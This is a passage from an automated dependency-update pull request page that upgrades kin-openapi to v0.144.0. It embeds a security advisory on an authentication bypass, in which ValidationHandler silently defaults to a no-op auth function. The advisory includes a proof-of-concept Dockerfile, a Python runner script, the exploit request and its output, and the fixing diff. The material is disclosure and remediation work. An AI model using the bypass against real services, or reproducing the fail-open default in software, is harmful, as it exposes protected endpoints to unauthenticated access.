begins serving: ```go // openapi3filter/validation_handler.go:47-49 if h.AuthenticationFunc == nil { h.AuthenticationFunc = NoopAuthenticationFunc } ``` `NoopAuthenticationFunc` is defined as: ```go // openapi3filter/validation_handler.go:17-18 func NoopAuthenticationFunc(context.Context, *AuthenticationInput) error { return nil } ``` It always returns `nil`, meaning every security scheme check it handles is automatically approved. When a request arrives, `ServeHTTP` → `before` → `validateRequest` assembles a `RequestValidationInput` with the current `AuthenticationFunc` (now the no-op) injected into `Options`: ```go // openapi3filter/validation_handler.go:91-103 options := &Options{ AuthenticationFunc: h.AuthenticationFunc, } requestValidationInput := &RequestValidationInput{ Request: r, PathParams: pathParams, Route: route, Options: options, } if err = ValidateRequest(r.Context(), requestValidationInput); err != nil { return err } ``` Inside `ValidateRequest`, each security requirement calls `options.AuthenticationFunc`: ```go // openapi3filter/validate_request.go:436-438 f := options.AuthenticationFunc if f == nil { return ErrAuthenticationServiceMissing // fail-closed path — never reached via ValidationHandler } // ... // openapi3filter/validate_request.go:497-503 if err := f(ctx, &AuthenticationInput{...}); err != nil { return err } ``` Because `f` is the no-op (not `nil`), the `ErrAuthenticationServiceMissing` guard is never triggered and `f(...)` returns `nil`, clearing the security requirement. Control then proceeds to the protected handler (`validation_handler.go:61-62`). The critical contradiction is that callers who use `ValidateRequest` directly with a nil `AuthenticationFunc` get fail-closed behavior (`ErrAuthenticationServiceMissing`), while callers who use the higher-level `ValidationHandler` with a nil `AuthenticationFunc` get fail-open behavior. Since omitting `AuthenticationFunc` is the natural default, the majority of real-world integrations are vulnerable. Affected source file and line: `openapi3filter/validation_handler.go:47–49` (commit `30e2923`, tag `v0.143.0`). ##### PoC **Environment** ``` Docker (any version supporting multi-stage builds) Go 1.25 (inside the container via golang:1.25-alpine) getkin/kin-openapi v0.143.0 (local source copy) ``` **Step 1 — Build the Docker image** From the repository root (parent of `vuln-001/`): ```bash docker build \ -t vuln001-auth-bypass-poc \ -f vuln-001/Dockerfile \ reports/github_web_233_getkin__kin-openapi ``` The `Dockerfile` copies the local `kin-openapi` source into `/kin-openapi/` inside the image and builds a Go binary (`/poc-binary`) from `main.go`. The `go.mod` inside the image uses a `replace` directive pointing to `/kin-openapi`, so no network access to the Go module proxy is required. **Step 2 — Run the container** ```bash docker run --rm --network none vuln001-auth-bypass-poc ``` **Step 3 (alternative) — Use the Python helper** ```bash python3 vuln-001/poc.py --no-cleanup ``` **What the PoC does** `main.go` creates a temporary OpenAPI 3.0 spec that declares `GET /secret` as protected by an `apiKey` security scheme: ```yaml paths: /secret: get: security: - apiKey: [] components: securitySchemes: apiKey: type: apiKey name: X-Api-Key in: header ``` It then constructs a `ValidationHandler` **without** setting `AuthenticationFunc`, calls `Load()`, and sends a request with no `X-Api-Key` header: ```http GET /secret HTTP/1.1 Host: example.test ##### X-Api-Key header is intentionally absent ``` **Expected (vulnerable) output** ``` === CONTRAST: Direct ValidateRequest with nil AuthenticationFunc === Direct ValidateRequest (nil auth) => ERROR: security requirements failed: missing AuthenticationFunc -> Fail-CLOSED behavior confirmed: missing auth function is rejected === EXPLOIT: ValidationHandler.Load() with nil AuthenticationFunc === OpenAPI spec defines: security: [{apiKey: []}] on GET /secret ValidationHandler.AuthenticationFunc: NOT SET (nil) Load() will inject NoopAuthenticationFunc, which always returns nil Request: GET /secret (X-Api-Key header: absent) Response: status=200 body="SECRET_DATA\n" [EXPLOIT SUCCESS] Auth bypass confirmed! Protected resource /secret returned SECRET_DATA without credentials. ValidationHandler.Load() silently injected NoopAuthenticationFunc. Security requirement was bypassed. VULN-001 REPRODUCED. ``` The contrast block confirms fail-closed behavior when `ValidateRequest` is called directly. The exploit block confirms fail-open behavior through `ValidationHandler`. Status 200 and `SECRET_DATA` are returned without any credential. **Remediation patch** ```diff --- a/openapi3filter/validation_handler.go +++ b/openapi3filter/validation_handler.go @&#8203;@&#8203; if h.Handler == nil { h.Handler = http.DefaultServeMux } - if h.AuthenticationFunc == nil { - h.AuthenticationFunc = NoopAuthenticationFunc - } if h.ErrorEncoder == nil { h.ErrorEncoder = DefaultErrorEncoder } ``` After this change, a nil `AuthenticationFunc` propagates into `ValidateRequest`, which returns `ErrAuthenticationServiceMissing` and rejects the request. Callers who genuinely want to skip authentication can still opt in explicitly: `h.AuthenticationFunc = openapi3filter.NoopAuthenticationFunc`. ##### Impact This is an **authentication bypass** vulnerability (CWE-287). Any application that: 1. uses `openapi3filter.ValidationHandler` as its HTTP middleware, and 2. declares one or more `security` requirements in its OpenAPI specification, and 3. does **not** explicitly set `AuthenticationFunc`, is fully exposed. An unauthenticated remote attacker can send requests to any protected endpoint without supplying credentials; the middleware accepts the request and forwards it to the underlying handler as if authentication had succeeded. Affected parties include all Go services that adopt `ValidationHandler` as a drop-in validation layer and rely on OpenAPI `security` declarations for access control without adding a separate authentication layer upstream (e.g., an API gateway or reverse proxy). Because the insecure behavior is the default, developers following the "getting started" path are affected without any additional mistake. The confidentiality and integrity of data behind secured endpoints are both at high risk. Availability is not directly affected by this vulnerability. ##### Reproduction artifacts ##### `Dockerfile` ```dockerfile FROM golang:1.25-alpine ##### Install git (needed by go mod for some packages) RUN apk add --no-cache git WORKDIR /workspace ##### Copy the vulnerable kin-openapi repository as a local module replacement COPY repo/ /kin-openapi/ ##### Set up the PoC Go module RUN mkdir -p /workspace/poc WORKDIR /workspace/poc ##### Create go.mod that uses the local copy of the vulnerable kin-openapi RUN cat > go.mod <<'EOF' module kin-openapi-auth-bypass-poc go 1.25 require github.com/getkin/kin-openapi v0.143.0 replace github.com/getkin/kin-openapi => /kin-openapi EOF ##### Copy the PoC source (build context is the parent directory of vuln-001/) COPY vuln-001/main.go /workspace/poc/main.go ##### Resolve dependencies and build RUN go mod tidy && \ go build -o /poc-binary . ##### Run the PoC CMD ["/poc-binary"] ``` ##### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: ValidationHandler.Load() Fail-Open Auth Bypass via NoopAuthenticationFunc Default Repository: getkin/kin-openapi v0.143.0 CWE: CWE-287 (Improper Authentication) CVSS: 9.1 (Critical) Vulnerability Summary: ValidationHandler.Load() silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc. NoopAuthenticationFunc always returns nil (no error), so any OpenAPI security requirement passes without validation when the user forgets to set AuthenticationFunc. Contrast: ValidateRequest() with nil AuthenticationFunc returns ErrAuthenticationServiceMissing (fail-closed). ValidationHandler.Load() breaks this guarantee (fail-open). Usage: python3 poc.py [--build-dir <dir>] [--image <name>] [--no-cleanup] """ import argparse import os import subprocess import sys import json IMAGE_NAME = "vuln001-auth-bypass-poc" SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) REPO_DIR = os.path.join(os.path.dirname(SCRIPT_DIR), "repo") SUCCESS_MARKER = "[EXPLOIT SUCCESS]" EXPECTED_STATUS = "status=200" EXPECTED_BODY = 'body="SECRET_DATA\\n"' def run(cmd, **kwargs): """Run a shell command and return (returncode, stdout, stderr).""" print(f"[CMD] {' '.join(cmd)}") result = subprocess.run(cmd, capture_output=True, text=True, **kwargs) if result.stdout: print(result.stdout, end="") if result.stderr: print(result.stderr, end="", file=sys.stderr) return result.returncode, result.stdout, result.stderr def build_image(build_dir): """Build the Docker image containing the PoC binary.""" print("\n[*] Building Docker image ...") rc, stdout, stderr = run([ "docker", "build", "--build-arg", f"REPO_DIR={REPO_DIR}", "-t", IMAGE_NAME, "-f", os.path.join(build_dir, "Dockerfile"), # Build context is the reports root so both Dockerfile and repo/ are reachable os.path.dirname(build_dir), ]) if rc != 0: print(f"[ERROR] Docker build failed (exit {rc})", file=sys.stderr) sys.exit(rc) print("[*] Docker build succeeded.") return f"docker build -t {IMAGE_NAME} -f {os.path.join(build_dir, 'Dockerfile')} {os.path.dirname(build_dir)}" def run_container(): """Run the container and capture output.""" print("\n[*] Running PoC container ...") rc, stdout, stderr = run([ "docker", "run", "--rm", "--network", "none", # no network access needed IMAGE_NAME, ]) combined = stdout + stderr return rc, combined def evaluate(exit_code, output): """Determine whether the exploit was confirmed.""" passed = ( exit_code == 0 and SUCCESS_MARKER in output and EXPECTED_STATUS in output and EXPECTED_BODY in output ) return passed def cleanup_image(): """Remove the Docker image.""" print(f"\n[*] Removing Docker image {IMAGE_NAME} ...") run(["docker", "rmi", "-f", IMAGE_NAME]) def main(): global IMAGE_NAME parser = argparse.ArgumentParser(description="VULN-001 Auth Bypass PoC runner") parser.add_argument("--build-dir", default=SCRIPT_DIR, help="Directory containing Dockerfile and main.go") parser.add_argument("--image", default=IMAGE_NAME, help="Docker image name to build/run") parser.add_argument("--no-cleanup", action="store_true", help="Keep the Docker image after the run") args = parser.parse_args() IMAGE_NAME = args.image print("=" * 60) print("VULN-001 PoC: Auth Bypass via NoopAuthenticationFunc Default") print("=" * 60) print(f" Build dir : {args.build_dir}") print(f" Repo dir : {REPO_DIR}") print(f" Image : {IMAGE_NAME}") build_cmd = build_image(args.build_dir) run_cmd = f"docker run --rm --network none {IMAGE_NAME}" exit_code, output = run_container() if not args.no_cleanup: cleanup_image() passed = evaluate(exit_code, output) print("\n" + "=" * 60) if passed: print("[RESULT] PASS — Auth bypass CONFIRMED") print(" The protected handler returned SECRET_DATA without credentials.") print(" ValidationHandler.Load() injected NoopAuthenticationFunc silently.") else: print(f"[RESULT] FAIL — Exploit not confirmed (exit={exit_code})") print(f"\nContainer exit code : {exit_code}") print(f"Success marker found: {SUCCESS_MARKER in output}") print(f"Status 200 found : {EXPECTED_STATUS in output}") print(f"Secret body found : {EXPECTED_BODY in output}") # Exit with code that signals pass/fail sys.exit(0 if passed else 1) if __name__ == "__main__": main() ``` #### Severity - CVSS Score: 9.1 / 10 (Critical) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/getkin/kin-openapi/security/advisories/GHSA-r277-6w6q-xmqw](https://github.com/getkin/kin-openapi/security/advisories/GHSA-r277-6w6q-xmqw) - [https://github.com/getkin/kin-openapi/commit/f0407d53b0730280266f454b755010e7eeb985da](https://github.com/getkin/kin-openapi/commit/f0407d53b0730280266f454b755010e7eeb985da) - [https://github.com/getkin/kin-openapi](https://github.com/getkin/kin-openapi) - [https://github.com/getkin/kin-openapi/releases/tag/v0.144.0](https://github.com/getkin/kin-openapi/releases/tag/v0.144.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-r277-6w6q-xmqw) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Authentication bypass via default NoopAuthenticationFunc in github.com/getkin/kin-openapi [CVE-2026-73501](https://nvd.nist.gov/vuln/detail/CVE-2026-73501) / [GHSA-r277-6w6q-xmqw](https://github.com/advisories/GHSA-r277-6w6q-xmqw) / [GO-2026-6095](https://pkg.go.dev/vuln/GO-2026-6095) <details> <summary>More information</summary> #### Details Authentication bypass via default NoopAuthenticationFunc in github.com/getkin/kin-openapi #### Severity Unknown #### References - [https://github.com/getkin/kin-openapi/security/advisories/GHSA-r277-6w6q-xmqw](https://github.com/getkin/kin-openapi/security/advisories/GHSA-r277-6w6q-xmqw) - [https://github.com/getkin/kin-openapi/commit/f0407d53b0730280266f454b755010e7eeb985da](https://github.com/getkin/kin-openapi/commit/f0407d53b0730280266f454b755010e7eeb985da) - [https://github.com/getkin/kin-openapi/releases/tag/v0.144.0](https://github.com/getkin/kin-openapi/releases/tag/v0.144.0) This data is provided by [OSV](https://osv.dev/vulnerability/GO-2026-6095) and the [Go Vulnerability Database](https://github.com/golang/vulndb) ([CC-BY 4.0](https://github.com/golang/vulndb#license)). </details> --- ### Nil-pointer panic on content parameter without schema in github.com/getkin/kin-openapi [CVE-2026-73502](https://nvd.nist.gov/vuln/detail/CVE-2026-73502) / [GHSA-jpcw-4wr7-c3vq](https://github.com/advisories/GHSA-jpcw-4wr7-c3vq) / [GO-2026-6112](https://pkg.go.dev/vuln/GO-2026-6112) <details> <summary>More information</summary> #### Details Nil-pointer panic on content parameter without schema in github.com/getkin/kin-openapi #### Severity Unknown #### References - [https://github.com/getkin/kin-openapi/security/advisories/GHSA-jpcw-4wr7-c3vq](https://github.com/getkin/kin-openapi/security/advisories/GHSA-jpcw-4wr7-c3vq) - [https://github.com/getkin/kin-openapi/commit/68ac2affa325514d7d6e731204d6a1edf6bdff64](https://github.com/getkin/kin-openapi/commit/68ac2affa325514d7d6e731204d6a1edf6bdff64) - [https://github.com/getkin/kin-openapi/releases/tag/v0.144.0](https://github.com/getkin/kin-openapi/releases/tag/v0.144.0) This data is provided by [OSV](https://osv.dev/vulnerability/GO-2026-6112) and the [Go Vulnerability Database](https://github.com/golang/vulndb) ([CC-BY 4.0](https://github.com/golang/vulndb#license)). </details> --- ### Release Notes <details> <summary>getkin/kin-openapi (github.com/getkin/kin-openapi)</summary> ### [`v0.144.0`](https://github.com/getkin/kin-openapi/releases/tag/v0.144.0) [Compare Source](https://github.com/getkin/kin-openapi/compare/v0.143.0...v0.144.0) #### What's Changed - openapi3filter: prefer non-empty value for repeated scalar query params by [@&#8203;sonnemusk](https://github.com/sonnemusk) in [#&#8203;1231](https://github.com/getkin/kin-openapi/pull/1231) - some fixes to please my moulinette by [@&#8203;fenollp](https://github.com/fenollp) in [#&#8203;1232](https://github.com/getkin/kin-openapi/pull/1232) #### New Contributors - [@&#8203;sonnemusk](https://github.com/sonnemusk) made their first contribution in [#&#8203;1231](https://github.com/getkin/kin-openapi/pull/1231) **Full Changelog**: <https://github.com/getkin/kin-openapi/compare/v0.143.0...v0.144.0> ### [`v0.143.0`](https://github.com/getkin/kin-openapi/releases/tag/v0.143.0) [Compare Source](https://github.com/getkin/kin-openapi/compare/v0.142.0...v0.143.0) #### What's Changed - openapi3: remove StringMap and its pre-OriginTree origin-stripping machinery by [@&#8203;reuvenharrison](https://github.com/reuvenharrison) in [#&#8203;1219](https://github.com/getkin/kin-openapi/pull/1219) - openapi3: huge test suite: make it more parallel by [@&#8203;fenollp](https://github.com/fenollp) in [#&#8203;1221](https://github.com/getkin/kin-openapi/pull/1221) - openapi31: support 3.1+ reference metadata overrides by [@&#8203;AlexanderWangY](https://github.com/AlexanderWangY) in [#&#8203;1215](https://github.com/getkin/kin-openapi/pull/1215) - docs: move the StringMap changelog entry to v0.143.0 by [@&#8203;reuvenharrison](https://github.com/reuvenharrison) in [#&#8203;1222](https://github.com/getkin/kin-openapi/pull/1222) - openapi3: add T.WalkParameters to visit every parameter in a document by [@&#8203;reuvenharrison](https://github.com/reuvenharrison) in [#&#8203;1224](https://github.com/getkin/kin-openapi/pull/1224) - openapi3filter: reuse deepObject bracket regex by [@&#8203;matiasinsaurralde](https://github.com/matiasinsaurralde) in [#&#8203;1225](https://github.com/getkin/kin-openapi/pull/1225) - openapi3filter: skip Split allocation for single-value array query params by [@&#8203;matiasinsaurralde](https://github.com/matiasinsaurralde) in [#&#8203;1226](https://github.com/getkin/kin-openapi/pull/1226) - openapi3: preserve origin for a $ref to a schema under an arbitrary top-level key by [@&#8203;reuvenharrison](https://github.com/reuvenharrison) in [#&#8203;1227](https://github.com/getkin/kin-openapi/pull/1227) - openapi3: stable codes for validation errors by [@&#8203;reuvenharrison](https://github.com/reuvenharrison) in [#&#8203;1223](https://github.com/getkin/kin-openapi/pull/1223) - openapi3filter: skip schema checks for empty allowEmptyValue strings by [@&#8203;snowyukitty](https://github.com/snowyukitty) in [#&#8203;1228](https://github.com/getkin/kin-openapi/pull/1228) - openapi3gen: inline embedded struct with options-only JSON tag by [@&#8203;mvanhorn](https://github.com/mvanhorn) in [#&#8203;1229](https://github.com/getkin/kin-openapi/pull/1229) #### New Contributors - [@&#8203;matiasinsaurralde](https://github.com/matiasinsaurralde) made their first contribution in [#&#8203;1225](https://github.com/getkin/kin-openapi/pull/1225) - [@&#8203;snowyukitty](https://github.com/snowyukitty) made their first contribution in [#&#8203;1228](https://github.com/getkin/kin-openapi/pull/1228) - [@&#8203;mvanhorn](https://github.com/mvanhorn) made their first contribution in [#&#8203;1229](https://github.com/getkin/kin-openapi/pull/1229) **Full Changelog**: <https://github.com/getkin/kin-openapi/compare/v0.142.0...v0.143.0> </details> --- ### Configuration 📅 **Schedule**: (in timezone Europe/Berlin) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yODUuNiIsInVwZGF0ZWRJblZlciI6IjQzLjI4NS42IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
fix(deps): update module github.com/getkin/kin-openapi to v0.144.0 [security]
Some checks failed
ci / reuse (pull_request) Successful in 15s
Details
ci / vuln-check (pull_request) Failing after 1m52s
Details
ci / ci (pull_request) Failing after 2m24s
Details
21fbd2dfd7
sa-renovate force-pushed renovate/go-github.com-getkin-kin-openapi-vulnerability from 21fbd2dfd7
Some checks failed
ci / reuse (pull_request) Successful in 15s
Details
ci / vuln-check (pull_request) Failing after 1m52s
Details
ci / ci (pull_request) Failing after 2m24s
Details
to 8481a37840
Some checks failed
ci / reuse (pull_request) Successful in 3s
Details
ci / vuln-check (pull_request) Successful in 32s
Details
ci / ci (pull_request) Failing after 2m31s
Details
2026-07-30 03:03:00 +00:00 Compare
Some checks failed
ci / reuse (pull_request) Successful in 3s
Details
ci / vuln-check (pull_request) Successful in 32s
Details
ci / ci (pull_request) Failing after 2m31s
Required
Details
Some required checks were not successful.
You are not authorized to merge this pull request.
View command line instructions

Checkout

From your project repository, check out a new branch and test the changes.
git fetch -u origin renovate/go-github.com-getkin-kin-openapi-vulnerability:renovate/go-github.com-getkin-kin-openapi-vulnerability
git switch renovate/go-github.com-getkin-kin-openapi-vulnerability
Sign in to join this conversation.
Reviewers
No reviewers
Labels
Clear labels
No items
No labels
Milestone
Clear milestone
No items
No milestone
Projects
Clear projects
No items
No project
Assignees
Clear assignees
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set

Reference
DevFW-CICD/ci-sizer!32
No description provided.